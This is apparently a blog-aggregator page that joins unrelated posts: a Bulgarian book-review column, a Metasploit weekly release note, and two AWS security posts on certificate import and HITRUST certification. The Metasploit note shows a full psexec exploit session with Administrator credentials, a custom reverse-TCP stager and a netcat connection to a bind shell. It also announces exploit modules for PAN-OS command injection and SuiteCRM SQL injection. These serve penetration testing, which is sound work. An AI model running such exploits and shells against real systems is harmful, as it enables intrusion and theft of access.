Как така (и в Русия, и у нас) одържавената собственост уж беше дадена на „народа“ (чрез масовата приватизация – нали в името на народа е била конфискувана), а после продадена на безценица? Как така за лошото управление на предприятията не се намери вариант „сменяме с по-добро управление“?

Как така бивш телохранител на Елцин, повишен в шеф на охраната, генерал от КГБ, ще поставя под заплаха шефа на независимата НТВ, та чак да бяга извън страната? Как така телохранителят ще кадрува?

Как така президентски екип на една от най-големите държави по света ще се съветва с астролози и баячки? Как така президент на демократична страна ще крои планове да разпуска народното събрание, Думата?

Как така приличен вестник като „Коммерсант“ ще започне да издава дъщерен вестник, в който ще има откровени лъжи – с цел да повлияе на изборните резултати?

Как така президент ще обяви война за приключила, когато тя продължава да тече – ей тъй, ще каже, че е спечелена и че оттам нататък върви „борба с престъпността“? За Чечения иде реч.

Как… ами така.

Вече чувам как някой ми отговаря, че това е то политиката, и ми цитира примери от други страни. Впрочем наша Ванга също се появява в книгата, не че имаме нужда от напомняне, че всички тези събития са тясно свързани с България (и „масовата приватизация“, и разрастването на жълтата преса, и появата на кандидат-президенти, специално подбрани от управляващата партия, за да отнемат гласове от опозицията, и Чорни се вясва по едно време).

И всъщност именно нормализацията на този разказ е страшна. Затова, докато четях „Всички са свободни“, в главата ми звучаха и други интервюта, различни от взетите от Зигар: тези на Светлана Алексиевич от „Време секънд хенд“. Изпитвах силно желание да чета двете книги успоредно, едва ли не да принудя героите им да се видят взаимно. Не ми излизаше от главата и Мешчанинова – и си мислех как погазването на човешките норми горе е пряко свързано с пълната уродщина долу.

Книгата на Зигар е пълна с немислими неща, но тя не е сензационно четиво. Не жълтее, не е пикантерия, нито сбироток от „малко известни факти“. Тя е добросъвестен опит да се съпоставят наличните свидетелства в достатъчно количество, допълнени с необходимата фонова информация, така че да можеш сам да си направиш съответните изводи. Не само за Русия.

Страхотно заглавие впрочем: хем свобода, хем разпускане на партийно събрание, не мислите ли?

„Американски деликатеси“ от Катерина Стойкова

София: изд. ICU, 2022

Чувствителност и чудовищност.

Първото рядко бива защита срещу второто, особено когато е открито, облечено в думи. По-скоро обратното – защитата предполага резки жестове, прорези в смисъла, почти митологична сублимност.

Поезията на Катерина Стойкова ме поразява с последователно отстоявания си избор да говори за чудовищното деликатно, без гняв. Или поне без външните аспекти на гнева; да рисува, сякаш с мек молив, детайл по детайл, образа на недопустимото. Да не крие ключовете към неговото проумяване зад поетизми и драматично загадъчни метафори, да ги остави на видно място, да допусне всеки читател в сюжета, който нейните стихотворения постепенно оформят.

Във всяка от стихосбирките ѝ има разказ, разказ за болезнения полуразпад на предполагаемо близки отношения – или за още по-болезненото им упорство да не се разпаднат въпреки всичко, което са причинили. Бащата и не по-малко майката във „Втора кожа“, партньорът и мястото на принадлежност в „Американски деликатеси“.

Може би се изразявам неясно, семейството е също толкова място на принадлежност, колкото и страната. А героинята на книгата е на границата и в двете. Образите се наслагват, едно стихотворение прояснява образите в следващото. Лашкането между две култури е като прехвърляне на яйце между двете половини на черупката – в нито една не се събира, при всяко премятане част от него се губи.

В следващото стихотворение вече ни трябва яйце, а имаме само камък – ще трябва да опитаме с него. Някои разтегнати метафори започват да служат като алегории и това се оказва милостиво за читателя, който може да облече и собственото си колебание да сложи край на нещо с образа на ябълката, чието време на гниене трябва да отмери оставащото време до края на връзката – гниене, на което героинята внезапно решава да попречи, като премества повехналото, покрито със сбръчкана коричка месо на плода в хладилника.

Веднъж отхапах от една ябълка

и си обещах:

Той и аз ще сме приключили,
когато тази ябълка изгние.

Държах я на бюрото си.
Отпечатъците от зъби
се извиваха навътре,
бялата плодова плът затваряше
мекотата си с коричка.
Това продължи няколко дни.
После си казах:

Искам да спася тази ябълка.

И я залостих в хладилника.
Междувременно тя се наклоняваше
към раната си – глава без лице,
зъзнеща в своя студен затвор,
а бръчките ѝ се вкаменяваха.
От време на време
я оглеждах и преценявах:

Бива си я още, настоявах.
Още става.

В други моменти стихотворенията сякаш изцяло се превръщат в разказ – но само привидно, защото втората версия на същия сюжет се превръща в саркастична рима на първата. В трети тонът се доближава до афоризма.

Покажи ми двама души, които не се карат,

и аз ще ти покажа двама души,
ужасени да си кажат истината.

Непоклатима самота,
избутана от полезрението.

Защо не са си тръгнали?
Какво ги задържа там,

в отделни стаи –
апатични птици, отстъпили

обратно в черупките. Около тях
компромисите се затварят

като матрьошки – предвидими,
многобройни и категорични.

В четвърти – няколко варианта за край на една басня.

При все разнородността на формите обаче книгата стои удивително цялостна. Трудно е да си представиш стихотворенията разместени или някое от тях извадено от контекст. Както впрочем и цялата стихосбирка стои плътно свързана с предишните. Именно тази последователна, неумолима чувствителност, мекият молив, който изписва в деликатни детайли вътрешната страна на черупката, в крайна сметка е акт на съпротива, на защита срещу чудовищното. Защита и за читателя.

„Навалица! Или 25 часа в град София“ от Йордан Д. Радичков

Пловдив: ИК „Жанет 45“, 2022

Преди следващата рецензия искам да отворя малка скоба.

Преди 6 години голямата ми дъщеря получи наградата „Братя Мормареви“ за най-добър разказ. Литераторът, който ѝ я връчи, каза публично, че е ясна работата с тази фамилия. Реакцията ѝ беше: „Ами то няма смисъл да пиша, винаги ще казват, че ме публикуват заради баща ми.“ Актьорът Самуил Финци пък казва в интервю, че за щастие, работи в Германия, където никой не би могъл да рече, че го лансират заради неговия баща Ицхак Финци.

Писателят Йордан Д. Радичков има безспорен талант. Отворете напосоки новия му сборник с разкази „Навалица!“ и ще се убедите сами. Какво удоволствие е този стил – първо ритъмът на речта, играта с паузи, със смяна на посоката (например същата фраза се повтаря в следващото изречение, но вече в инверсия). После начинът, по който сменя адресата – насред класическото разказване на история току се обърне пряко към читателя или пък към някое абстрактно понятие, за което е станало дума:

Отивай на работа, навалицо! Отивай да се бориш с днешния ден!

или

Добре де, скъпа Цивилизацийо, не искаме да губим от толкоз ценното ти време, но би ли седнала за секунда при нас, за да ни обясниш какво се е случило с Капитана в рамките на един час?

Ту пък заговаря въображаем събеседник, към когото е обърнат целият разказ:

Независимо, Иване, дали живееш в просторна къща в покрайнините на града, а аз живея в малък апартамент в центъра, независимо, Иване, дали по стените на твоето обиталище са закачени велики картини…

Удоволствие е внезапният комичен ефект от персонификацията на абстрактни понятия:

Цивилизацията се прави на много заета и казва, че няма време да се занимава с такива бездарници като нас…

А и класическото умение да използваш синтаксиса като художествено средство, да построиш изречения с всичките им каденци, наслагвания, цезури и т.н. Истинска литература. И да, драги читателю, можеш да търсиш сравнения със стила на другия Радичков, но това по-скоро би те принудило да умуваш ген ли е дарбата, или пък идва от умението да се вглеждаш в написаните от друг изречения и да разбираш как точно работи онова, дето толкова ти въздейства.

„Навалица!“ обаче не е упражнение по стил. Наскоро Албена Тодорова направи великолепна литературна обиколка, посветена на „гърбовете“ на града – и буквално, като гърбовете на сградите, и като „опакото“ на фасадната ни литература.

Обитателите на „Навалица!“ са от същите места. Между тях има човек, който озверява в супермаркета, където е влязъл за едните яйца, има уличен акордеонист, пътничка без билет (моля-моля, с билет до Зимница) във влака за София, двойка работници в неназована фабрика, метачки, възрастна барманка, която някога е била сладка и хубава, жена, която по принуда пътува сама в най-ранния автобус и се бои от бандата хулигани…

Тези хора се въртят из разказите, невинаги сигурни накъде са тръгнали, а авторът върви с тях не с милост, а със съпричастие. Малко ги подкача, както подкача впрочем и читателя, който хем им трепери, хем забравя за тях в първия удобен момент.

Но и тук книгата не е прекалено равномерна, не можеш да кажеш, че е „за маргинали“. Защото има разказ, в който главният герой са мислите, спохождащи човека току преди събуждане; или пък разказ, в който двама души стоят насред парка и момчето се опитва да разбере кое е това „само тяхно си място“, за което говори момичето.

Много ми допада и дозата смях – точно колкото да предпази съпричастието да прелее в сълзливост, но не толкова, че да го попари. Не е случайно, че авторът, в естеството си на издател („Нике“) публикува Булгаков. Личи не в друго, а ей в тази мярка.

А и смехът иде от най-необичайни места – не под формата на виц, както, за жалост, сме свикнали, а от самата тъкан на езика, от свежестта на неочакваното.

Как може, бога ми, разказ да започва така:

Центърът на града! Тая велика притегателна сила!

Активните дарители на „Тоест“ получават постоянна отстъпка в размер на 20% от коричната цена на всички заглавия от каталога на „Жанет 45“ и ICU, както и на няколко други български издателства в рамките на партньорската програма Читателски клуб „Тоест“. За повече информация прочетете на toest.bg/club.
Заглавно изображение: Колаж от кориците на книгите и снимка на Annie Spratt / Unsplash

Източник

Metasploit Weekly Wrap-Up

Post Syndicated from Zachary Goldman original https://blog.rapid7.com/2022/09/16/metasploit-weekly-wrap-up-176/

BYOS: Bring your own stager

Metasploit Weekly Wrap-Up

We try hard to make sure we have a great choice of fully-functional payloads to choose from, but sometimes you might want to “branch” out on your own, and if that’s the case we’ve got you covered. In an attempt to make Metasploit play well with others, we’ve introduced a brand new payload type: “custom.” “Custom” payloads use Metasploit stagers to build a stager that will stage whatever shellcode you send it.

Got a third-party payload you want to run like Sliver or a payload that’s too big or has too many bad characters to use in an exploit? All you need to do is queue up your exploit of choice in Framework, select the custom payload type, set the shellcode_file option, and when you launch the exploit, Metasploit will use our stagers to upload and run your custom shellcode on the target.

While we have developed a handler that will send your custom code in, there’s no requirement to use it. You are welcome to write your own handlers: the communication protocol is simply to prepend the shellcode size to the shellcode and send it; the custom payload stager will allocate memory and jump into the shellcode it places in memory.

Here’s an example using traditional “bind shellcode” to get a cmd.exe session on a Windows target:

msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.5.132.159     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                                    ng-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               v3Mpassword      no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
                                                    /write folder share
   SMBUser               Administrator    no        The username to authenticate as


Payload options (windows/x64/custom/reverse_tcp):

   Name            Current Setting          Required  Description
   ----            ---------------          --------  -----------
   EXITFUNC        thread                   yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST           10.5.135.101             yes       The listen address (an interface may be specified)
   LPORT           4567                     yes       The listen port
   SHELLCODE_FILE  x64_shell_bind_4444.bin  no        Shellcode bin to launch


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.5.135.101:4567 
[*] 10.5.132.159:445 - Connecting to the server...

<hacking intensifies>

[*] Sending stage (505 bytes) to 10.5.132.159
[+] Custom stage sent; session has been closed
[*] Custom session 1 opened (10.5.135.101:4567 -> 127.0.0.1) at 2022-09-08 15:29:02 -0500


[*] 10.5.132.159 - Custom session 1 closed.  Reason: User exit
[+] Custom stage sent; session has been closed
msf6 exploit(windows/smb/psexec) > exit

Now, we can just open a netcat session to the independent bind shell we started on the target:



[ruby-3.0.2@metasploit-framework](upstream-master) tmoose@ubuntu:~/rapid7/metasploit-framework$ nc 10.5.132.159 4444
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::1054:53:8f37:5615%11
   IPv4 Address. . . . . . . . . . . : 10.5.132.159
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

Tunnel adapter isatap.{A69D5981-18E2-43CF-982C-D844D6BB7D03}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Windows\system32>

Module added to exploit OS Command Injection in PAN-OS

Mikhail Klyuchnikov, Nikita Abramov, UnD3sc0n0c1d0, and jheysel-r7 introduced a new module that exploits an OS Command Injection vulnerability CVE-2020-2038 in PAN-OS. This exploit affects versions of PAN-OS 9.0 up to 9.0.10, 9.1 up to 9.1.4, and 10.0 up to 10.0.1. PAN-OS runs one of the leading enterprise firewalls, Palo Alto Networks next-generation firewall (NGFW). The National Vulnerability Database ranks the severity of this exploit as a high 7.2, as administrators of the system are able to execute arbitrary commands with root privileges. This is due to the API not employing sufficient filtering of input for its "op" request. An excellent writeup on exploiting this vulnerability and other similar vulnerabilities can be found on PT Swarm.

New module content (4)

  • SuiteCRM authenticated SQL injection in export functionality by Exodus Intelligence, Redouane NIBOUCHA, and jheysel-r7 – This adds support for EIP-0f5d2d7f, a vulnerability in the uid parameter of the index.php?entryPoint=export page on SuiteCRM prior to 7.x prior to 7.12.6 that allows for authenticated SQL injection. The module exploits this SQL injection vulnerability to extract the usernames and password hashes for SuiteCRM users, which can then be cracked offline later to gain access to SuiteCRM.

  • Palo Alto Networks Authenticated Remote Code Execution by Mikhail Klyuchnikov, Nikita Abramov, UnD3sc0n0c1d0, and jheysel-r7, which exploits CVE-2020-2038 – This adds an exploit module that leverages an OS Command Injection vulnerability in the PAN-OS management interface versions 10.0 to 10.0.1, versions 9.1.0 to 9.1.4, and version 9.0.0 to 9.0.10. This vulnerability is identified as CVE-2020-2038 and allows authenticated administrators to execute arbitrary OS commands with root privileges.

  • #16521 from bwatters-r7 – This adds a 32-bit and 64-bit custom stage Windows payload. The custom stage allows users to provide their own custom executable code to be delivered as the payload stage in place of Meterpreter, Shell and other Metasploit-provided stages.

  • #16906 from bcoles – This improves the post/windows/gather/enum_snmp module with shell and Powershell sessions support as well as fixes issues that low-privileged sessions would run into while reading the registry.

Enhancements and features (5)

  • #16911 from bcoles – This adds support for non-Meterpreter sessions and for WOW64 Meterpreter sessions to the post/windows/gather/enum_ms_product_keys module.
  • #16929 from bcoles – The post/windows/gather/enum_services module has been updated to support non-Meterpreter sessions, to fix some bugs, and to clean up the code. Additionally documentation has been added on how to use the module.
  • #16930 from bcoles – This updates the scripts/resource/dev_checks.rc resource script to fix issues and add additional module checks.
  • #16953 from bcoles – The enum_domain script has been updated to support Powershell and Shell sessions and its documentation and code have been cleaned up.
  • #17008 from EmilioPanti – rpc_core.rb has been updated so that it now reports the number of evasion modules within Metasploit. Previously this statistic wasn’t being reported, whilst other statistics like number of exploit modules, auxiliary modules, and payloads were.

Bugs fixed (5)

  • #16928 from bcoles – Multiple bugs have been fixed in the Msf::Post::Windows::Service mixin. Additionally, several methods have been adjusted within this mixin so that the data types they use or return are consistent.
  • #16998 from adfoster-r7 – Fixes a crash in modules using the IAX2 client.
  • #17013 from zeroSteiner – This PR enhances exploit/multi/http/jenkins_script_console to handle changes to the login process for Jenkins newer than version 2.246.
  • #17014 from adfoster-r7 – This fixes the exploit/multi/php/ignition_laravel_debug_rce module to use the default HTTP timeout for the check method. Without this, the check method would yield false negatives on slower connections.
  • #17018 from adfoster-r7 – This fixes the route add command to use a sensible default netmask.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

10 reasons to import a certificate into AWS Certificate Manager (ACM)

Post Syndicated from Nicholas Doropoulos original https://aws.amazon.com/blogs/security/10-reasons-to-import-a-certificate-into-aws-certificate-manager-acm/

AWS Certificate Manager (ACM) is a service that lets you efficiently provision, manage, and deploy public and private SSL/TLS certificates for use with AWS services and your internal connected resources. The certificates issued by ACM can then be used to secure network communications and establish the identity of websites on the internet or resources on private networks.

So why might you want to import a certificate into ACM, rather than using a certificate issued by ACM? According to the AWS Certificate Manager User Guide topic Importing certificates into AWS Certificate Manager, “you might do this because you already have a certificate from a third-party certificate authority (CA), or because you have application-specific requirements that are not met by ACM issued certificates.”

In this blog post, I’ll list 10 reasons why you might want to import a certificate into ACM, including what specific requirements you might have, and why you might want to use a certificate signed by a third-party CA in the first place.

1. To use an ECDSA certificate for faster TLS connections

Imported Elliptic Curve Digital Signature Algorithm (ECDSA) certificates use smaller keys than ACM issued public RSA certificates, allowing for TLS connections to be established faster. For this reason, ECDSA certificates are particularly useful for systems with limited processing resources, such as Internet of Things (IoT) devices. ACM supports imported certificates with ECDSA in 256, 384, and 521 bit variations. If you want to use an ECDSA certificate for your public-facing web application, you need to get a third-party certificate and then import it into ACM. For more information about supported cryptographic algorithms for imported certificates, see Prerequisites for importing certificates in the AWS Certificate Manager User Guide.

2. To control your certificate’s renewal cycle

When you import a certificate into ACM, you have greater control over its renewal cycle simply because you can re-import it as frequently as you want. You also have control over how often your imported certificate’s private key can be rotated. As a best practice, you should rotate your certificate’s private key based on your certificate’s usage frequency.

Note: When you re-import your certificate, to maintain the existing associations during renewal, ensure that you specify the existing certificate’s Amazon Resource Name (ARN). For more information and step-by-step instructions, see Reimporting a certificate in the AWS Certificate Manager User Guide.

3. To use certificate pinning

You might have an application that requires certificate pinning, which is the practice of bypassing the typical hierarchical model of trust that is governed by certificate authorities. With certificate pinning, a host’s identity is trusted based on a specific certificate or public key. As a certificate pinning best practice, AWS recommends that public certificates issued by ACM should not be pinned because ACM will generate a new public/private key pair at the next renewal phase, which essentially replaces the pinned certificate with a new one, causing service disruption along the process. If you want to use certificate pinning, you can pin an imported certificate because imported certificates are not subject to managed renewal, thereby reducing the risk of production impact.

4. To use a higher-assurance certificate

You might want to use a higher-assurance certificate, such as an organization validation (OV) or extended validation (EV) certificate. Certificates issued by ACM currently only support domain validation (DV). If the domain you want to protect is an application that requires OV or EV, you can import OV or EV certificates into ACM by using a third-party certificate of either type. You can use the ACM API action ImportCertificate to import OV or EV certificates into ACM.

5. To use a self-signed certificate

For internal testing environments where your developers want speed and flexibility, self-signed certificates are issued faster and effortlessly. However, it’s important to know that self-signed certificates are not trusted by default, which means that self-signed certificates need to be installed inside the trust stores of the intended clients, to avoid the risk of your users getting into the habit of ignoring browser warnings. For more information, see the additional requirements for self-signed certificates in Prerequisites for importing certificates in the AWS Certificate Manager User Guide.

6. To use an IP address for the certificate’s subject

By design, the subject field of an ACM certificate can only identify a fully qualified domain name (FQDN). If you want to use an IP address for the certificate’s subject, then you can create the certificate and import it to ACM.

7. To exceed the number of domains allowed by the ACM quotas

Certificates issued by ACM are subject to the ACM service quotas. The default quota for ACM is 10 domain names for each ACM certificate, and you can request an increase to the quota up to a maximum of 100 domain names for each certificate. However, if you import certificates, they are not subject to the quotas, and you can use a public certificate with more than 100 FQDNs in its domain scope without having to go through the process of requesting any limit increases.

8. To use a private certificate issued by ACM Private CA with the IssueCertificate API action

Certificates provisioned with the IssueCertificate API action have a private status and cannot be associated directly with an AWS integrated service, such as an internal Application Load Balancer. Instead, a private certificate issued by AWS Certificate Manager Private Certificate Authority (ACM Private CA) with the IssueCertificate API action needs to be exported and then imported into ACM before the association can be made. The same is true for certificate templates as well, which are configuration templates that can be passed as parameters to the IssueCertificate API action as a means to have greater control over the private certificate’s extensions.

9. To use a private certificate issued by your on-premises CA

You might want to use a private certificate issued by your on-premises CA instead of using ACM Private CA. To administer your internal public key infrastructure (PKI), AWS generally recommends that you use ACM Private CA. However, you might still come across scenarios where a certificate signed by your on-premises CA is better suited for your specific needs. For example, you might want to have a common root of trust, for consistency and interoperability purposes across a hybrid PKI solution. Furthermore, using an external parent CA with ACM Private CA also allows you to enforce CA name constraints. For more information, see Signing private CA certificates with an external CA in the AWS Certificate Manager Private Certificate Authority User Guide.

10. To use a certificate for something other than securing a public website

In addition to securing a public website, you can use certificates for other purposes. For example, you can import client and server certificates as part of an OpenVPN setup. For more information about this example, see How can I generate server and client certificates and their respective keys on a Windows server and upload them to AWS Certificate Manager (ACM)? In addition, you can import a code-signing certificate for use with AWS IoT Device Management. For more information about how to import a code-signing certificate, see (For IoT only) Obtain and import a code-signing certificate in the AWS Signer Developer Guide.

Conclusion

In this blog post, you learned about some of the reasons you might want to import a certificate into AWS Certificate Manager (ACM). For more information about importing certificates into ACM and step-by-step instructions, see Importing certificates into AWS Certificate Manager in the AWS Certificate Manager User Guide. For the latest pricing information, see the AWS Certificate Manager Pricing page on the AWS website. You can also use the AWS pricing calculator to estimate costs.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, start a new thread on the AWS Certificate Manager forum or contact AWS Support.

Want more AWS Security news? Follow us on Twitter.

Nicholas Doropoulos

Nicholas Doropoulos

Nicholas is a Cloud Security Engineer II, Bestselling Udemy Instructor, AWS Shield, GuardDuty and Certificate Manager SME. In his spare time, he enjoys creating tools, practising his OSINT skills by participating in Search Party CTFs for missing people and registering Google Dorks in Offensive Security’s Google Hacking Database.

154 AWS services achieve HITRUST certification

Post Syndicated from Sonali Vaidya original https://aws.amazon.com/blogs/security/154-aws-services-achieve-hitrust-certification/

The AWS HITRUST Compliance Team is excited to announce that 154 Amazon Web Services (AWS) services are certified for the Health Information Trust Alliance (HITRUST) Common Security Framework (CSF) v9.6 for the 2022 cycle.

These 154 AWS services were audited by a third-party assessor and certified under the HITRUST CSF. The full list is now available on the AWS Services in Scope by Compliance Program page. As an AWS customer, you can view and download our HITRUST CSF certification at any time through AWS Artifact.

AWS HITRUST CSF certification is available for customer inheritance

As an AWS customer, you can deploy business solutions into the AWS Cloud environment and inherit the AWS HITRUST CSF certification, provided that your organization uses only in-scope services, and you properly apply the controls that your organization is responsible for as detailed in the HITRUST Shared Responsibility and Inheritance Program.

With 154 AWS services receiving HITRUST certification, as an AWS customer you can tailor your security control baselines to a variety of factors—including, but not limited to, your regulatory requirements and your organization type. The HITRUST CSF is widely adopted by leading organizations in a variety of industries as part of their approach to security and privacy. For more information, see the HITRUST website.

As always, we value your feedback and questions and are committed to helping you achieve and maintain the highest standard of security and compliance. Feel free to contact the team through AWS Compliance Contact Us. If you have feedback about this post, please submit comments in the Comments section below.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

Author

Sonali Vaidya

Sonali leads multiple AWS global compliance programs including HITRUST, ISO 27001, ISO 27017, ISO 27018, ISO 27701, ISO 9001, and CSA STAR. Sonali has over 21 years of experience in information security and privacy management and holds multiple certifications such as CISSP, C-GDPR|P, CCSK, CEH, CISA, PCIP, ISO 27001 & ISO 22301 Lead Auditor.

The collective thoughts of the interwebz